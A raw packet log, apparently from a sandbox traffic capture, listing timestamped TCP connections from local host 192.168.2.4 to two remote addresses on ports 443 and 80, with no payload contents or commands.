Aug 4, 2024 02:21:30.519115925 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.519145012 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.519153118 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.519177914 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.519192934 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.528934002 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.528973103 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.529012918 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.529027939 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.529057980 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.529084921 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.547776937 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.547806978 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.547966003 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.547983885 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.548044920 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.552740097 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.552755117 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.552828074 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.552836895 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.552879095 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.571254969 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.571269035 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.571350098 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.571360111 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.571410894 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.592211962 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.592226028 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.592314959 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.592334032 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.592382908 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.593342066 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.593355894 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.593417883 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.593426943 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.593466043 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.603111029 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.603130102 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.603197098 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.603205919 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.603247881 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.607593060 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.607608080 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.607670069 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.607688904 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.607753992 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.618053913 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.618067980 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.618134975 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.618153095 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.618201971 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.636276007 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.636291981 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.636379957 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.636440039 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.636514902 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.641422033 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.641437054 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.641503096 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.641519070 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.641570091 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.659938097 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.659950972 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.660021067 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.660054922 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.660080910 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.660101891 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.680886984 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.680901051 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.680964947 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.680975914 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.681015968 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.682234049 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.682245970 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.682287931 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.682296991 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.682341099 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.691812992 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.691828966 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.691916943 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.691926003 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.691967010 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.696146965 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.696161985 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.696202993 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.696212053 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.696225882 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.696249008 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.706924915 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.706938028 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.706999063 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.707011938 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.707062960 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.725289106 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.725302935 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.725369930 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.725384951 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.725435019 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.730077982 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.730092049 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.730134010 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.730146885 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.730185032 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.730185032 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.748441935 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.748456001 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.748522043 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.748538017 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.748593092 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.770426989 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.770442009 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.770520926 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.770535946 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.770586014 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.779613018 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.779630899 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.779712915 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.779726982 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.779778004 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.781219959 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.781233072 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.781295061 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.781303883 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.781346083 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.785239935 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.785254002 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.785300970 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.785310030 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.785358906 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.785360098 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.796053886 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.796067953 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.796227932 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.796236992 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.796289921 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.815834999 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.815850973 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.815954924 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.815969944 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.816025019 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.819019079 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.819031000 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.819107056 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.819120884 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.819170952 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.859776974 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.859791994 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.859894037 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.859956026 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.860028028 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.861252069 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.861264944 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.861339092 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.861354113 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.861412048 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.868447065 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.868465900 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.868529081 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.868547916 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.868577003 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.868596077 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.869836092 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.869849920 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.869913101 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.869927883 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.869987011 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.873919010 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.873934031 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.874000072 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.874013901 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.874067068 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.903656006 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.903670073 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.903734922 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.903743982 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.903799057 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.904810905 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.904824972 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.904885054 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.904891968 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.904932976 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.908584118 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.908597946 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.908663988 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.908684015 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.908742905 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.948226929 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.948268890 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.948297024 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:30.948328018 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.948369980 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.948606014 CEST	49753	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:30.948636055 CEST	443	49753	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:31.231731892 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.231813908 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:31.231908083 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.232151031 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.232181072 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:31.888062000 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:31.888318062 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.888813972 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.888827085 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:31.890672922 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.890680075 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:31.890698910 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:31.890706062 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:32.444320917 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:32.444410086 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:32.444515944 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:32.444693089 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:32.444726944 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:32.567414999 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:32.567476988 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:32.567714930 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:32.568465948 CEST	49754	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:32.568547964 CEST	443	49754	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.096060991 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.096262932 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.096652031 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.096678972 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.098221064 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.098232985 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.734920979 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.734972000 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.735008001 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.735069990 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.735105991 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.735114098 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.735148907 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.735148907 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.735483885 CEST	49755	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.735512018 CEST	443	49755	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.776412010 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.776494026 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:33.776590109 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.776853085 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:33.776892900 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:34.442867041 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:34.443217993 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:34.443401098 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:34.443428993 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:34.445348024 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:34.445399046 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:35.144848108 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:35.144898891 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:35.145018101 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:35.145018101 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:35.145112038 CEST	49756	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:35.145150900 CEST	443	49756	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:35.148303032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.153331041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.153402090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.153594971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.158440113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794167995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794210911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794261932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794270039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794306040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794430017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794436932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794486046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794518948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794531107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794579983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794605970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794771910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794805050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794822931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794838905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794861078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794876099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.794897079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.794923067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.799391985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.799479008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.799598932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.799655914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.799721956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.799774885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888622999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888674974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888708115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888708115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888726950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888739109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888752937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888772011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888784885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888803959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888818026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888837099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888848066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888871908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.888884068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.888921976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.890253067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.890285015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.890310049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.890317917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.890320063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.890372038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.890384912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.890405893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.890415907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.890439987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.890448093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.890484095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891335964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891367912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891391039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891401052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891407967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891433954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891438961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891467094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891477108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891499996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891510963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891530991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.891542912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.891575098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981093884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981131077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981165886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981189013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981195927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981220961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981229067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981252909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981367111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981400013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981419086 CEST	49757	80	192.168.2.4	147.45.44.104
